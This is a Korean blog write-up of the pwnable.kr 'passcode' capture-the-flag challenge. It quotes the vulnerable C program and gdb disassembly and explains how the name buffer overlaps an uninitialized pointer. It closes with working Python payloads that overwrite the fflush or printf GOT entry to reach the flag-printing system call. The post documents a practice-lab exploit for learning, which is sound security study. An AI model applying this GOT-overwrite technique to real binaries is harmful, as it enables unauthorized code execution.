반응형


Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


ssh passcode@pwnable.kr -p2222 (pw:guest)




파파고 번역

###################################################################

엄마가 암호 기반 로그인 시스템을 만들라고 했어.
내 초기 C코드는 아무 오류 없이 편집되었어!
컴파일러 경고가 있었는데 누가 신경 써?

ssh passcode@pwnable.kr -p2222(pw:guest)


####################################################################


#include <stdio.h>

#include <stdlib.h>


void login(){

        int passcode1;

        int passcode2;


        printf("enter passcode1 : ");

        scanf("%d", passcode1);

        fflush(stdin);


        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)

        printf("enter passcode2 : ");

        scanf("%d", passcode2);


        printf("checking...\n");

        if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

                exit(0);

        }

}


void welcome(){

        char name[100];

        printf("enter you name : ");

        scanf("%100s", name);

        printf("Welcome %s!\n", name);

}


int main(){

        printf("Toddler's Secure Login System 1.0 beta.\n");


        welcome();

        login();


        // something after login...

        printf("Now I can safely trust you that you have credential :)\n");

        return 0;

}



코드를 분석해보자

실행하면 welcome 함수가 열리고

login함수가 열린다.

welcome함수는 그냥 입력을 받아 출력해주는 함수이며

login함수는 패스워드 두개를 받아 비교하여 일치한다면 flag를 보여준다.

그런데 코드에 문제점이 있다.

scanf("%d",passcode1)

&이 빠져있다.


////////////////////////////////////////////////

결국 passcode1의 변수에 저장되는것이 아니라 passcode1의 주소에 있는 값의 주소에 저장되어  passcode1에는 쓰레기 값이 계속 들어가 있는상태로 남아있게된다.

///////////////////////////////////////////////



아직 공부가 부족하여 이곳을 참고하였다.

https://sunrinjuntae.tistory.com/27

https://pwnwiz.tistory.com/110



먼저 login 부분을 보자

0x08048564 <+0>:     push   ebp   

   0x08048565 <+1>:     mov    ebp,esp    

   0x08048567 <+3>:     sub    esp,0x28    

   0x0804856a <+6>:     mov    eax,0x8048770    

   0x0804856f <+11>:    mov    DWORD PTR [esp],eax   

   0x08048572 <+14>:    call   0x8048420 <printf@plt>    #"enter pascode1:" 출력


   0x08048577 <+19>:    mov    eax,0x8048783     

   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]   

////////////////////////////////////////////////////////////////////////////

ebp-0x10의 주소안의 값을 받아온다

원래 [ebp]의 값에 -0x10한 값이 passcode1의 주소이다.

lea 를 사용해야 하며 [[ebp]-0x10] 의 값을 가져와야한다.

//////////////////////////////////////////////////////////////////


   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx    

   0x08048583 <+31>:    mov    DWORD PTR [esp],eax        

   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>    # scanf실행



   0x0804858b <+39>:    mov    eax,ds:0x804a02c

   0x08048590 <+44>:    mov    DWORD PTR [esp],eax

   0x08048593 <+47>:    call   0x8048430 <fflush@plt>

   0x08048598 <+52>:    mov    eax,0x8048786

   0x0804859d <+57>:    mov    DWORD PTR [esp],eax

   0x080485a0 <+60>:    call   0x8048420 <printf@plt>

   0x080485a5 <+65>:    mov    eax,0x8048783

   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]

   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx

   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax

   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>

   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799

   0x080485c0 <+92>:    call   0x8048450 <puts@plt>

   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6

   0x080485cc <+104>:   jne    0x80485f1 <login+141>

   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9

   0x080485d5 <+113>:   jne    0x80485f1 <login+141>

---Type <return> to continue, or q <return> to quit---

   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5

   0x080485de <+122>:   call   0x8048450 <puts@plt>

   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af

   0x080485ea <+134>:   call   0x8048460 <system@plt>

   0x080485ef <+139>:   leave

   0x080485f0 <+140>:   ret

   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd

   0x080485f8 <+148>:   call   0x8048450 <puts@plt>

   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0

   0x08048604 <+160>:   call   0x8048480 <exit@plt>



위와 같이 우리가 원하는 passcode1에 값을 받아오지못한다.



welcome함수도 한번보자

welcome의 경우 배열을 사용하였기 때문에 &를 사용하지않아도 된다.

정상적인 구문이다.



   0x08048609 <+0>:     push   ebp

   0x0804860a <+1>:     mov    ebp,esp

   0x0804860c <+3>:     sub    esp,0x88

   0x08048612 <+9>:     mov    eax,gs:0x14

   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax

   0x0804861b <+18>:    xor    eax,eax

   0x0804861d <+20>:    mov    eax,0x80487cb

   0x08048622 <+25>:    mov    DWORD PTR [esp],eax

   0x08048625 <+28>:    call   0x8048420 <printf@plt>


   0x0804862a <+33>:    mov    eax,0x80487dd

   0x0804862f <+38>:    lea    edx,[ebp-0x70]

   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx

   0x08048636 <+45>:    mov    DWORD PTR [esp],eax

   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>


   0x0804863e <+53>:    mov    eax,0x80487e3

   0x08048643 <+58>:    lea    edx,[ebp-0x70]

   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx

   0x0804864a <+65>:    mov    DWORD PTR [esp],eax

   0x0804864d <+68>:    call   0x8048420 <printf@plt>

   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]

   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14

   0x0804865c <+83>:    je     0x8048663 <welcome+90>

   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>

   0x08048663 <+90>:    leave

   0x08048664 <+91>:    ret



[ebp]-0x70가 name의 주소이다.

이제 이것을 활용해보자

우리가 원하는 값을 넣어야 하는곳은 [ebp]-0x10

[ebp]-0x70    name이 담긴곳

[ebp]-0x10    passcode1이 담긴곳

[ebp]


배열의 크기가 100이기때문에 0x70-0x10=0x60(96)이기때문에 마지막 4바이트가 겹치는것을 알수있다.


우리는 ebp-0x10의 값을 바꿀수있다.

그렇다는건 ebp-0x10에 우리가 바꾸고싶은 위치의 주소를 넣고 scanf를 통해 그곳에 우리가 입력한 주소를 넣을수 있다는것이다.

즉 바꿀주소의 주소는 fflush함수의 리턴주소(GOT)이고 바꿔줄 주소는 system("/bin/cat flag")으로 넘어가는 주소로 주소로 바꾸어주면된다.



여기서 필요한 개념이 PLT와 GOT이다.

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

https://horo90.tistory.com/37



x/3i를 통해 fflush함수를 확인해보면 알수있다.(x/i : 역어셈블된 명령어의 명령 메모리를 볼수 있음)

다른 옵션 확인 사이트

https://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4



fflush함수

(gdb) x/3i 0x8048430

   0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004

   0x8048436 <fflush@plt+6>:    push   0x8

   0x804843b <fflush@plt+11>:   jmp    0x8048410


printf함수

(gdb) x/3i 0x8048420

   0x8048420 <printf@plt>:      jmp    DWORD PTR ds:0x804a000

   0x8048426 <printf@plt+6>:    push   0x0

   0x804842b <printf@plt+11>:   jmp    0x8048410


이 두함수에서 공격이 가능하다.

GOT를 조작할수있다.

각각의 GOT는 0x804a004 0x804a000이다.

이제 이주소의 값을 우리가 원하는 위치인 

 0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af

   0x080485ea <+134>:   call   0x8048460 <system@plt>


0x080485e3 로 바꾸면 된다.


최종 페이로드는

(python -c 'print "\x90"*96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode

or

(python -c 'print "\x90"*96 + "\x00\xa0\x04\x08" + "134514147"') | ./passcode


0x080485e3 는 scanf에서 %d 10진수로 받으므로 10진수로 바꾸어서 입력해주어야한다.
















반응형

'보안 > pwnable.kr' 카테고리의 다른 글

pwnable.kr random  (0) 2020.03.03
pwnable.kr flag  (0) 2020.01.30
pwnable.kr bof  (0) 2020.01.30
pwnable.kr collision  (0) 2019.12.11
pwnable.kr fd  (1) 2019.12.11
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기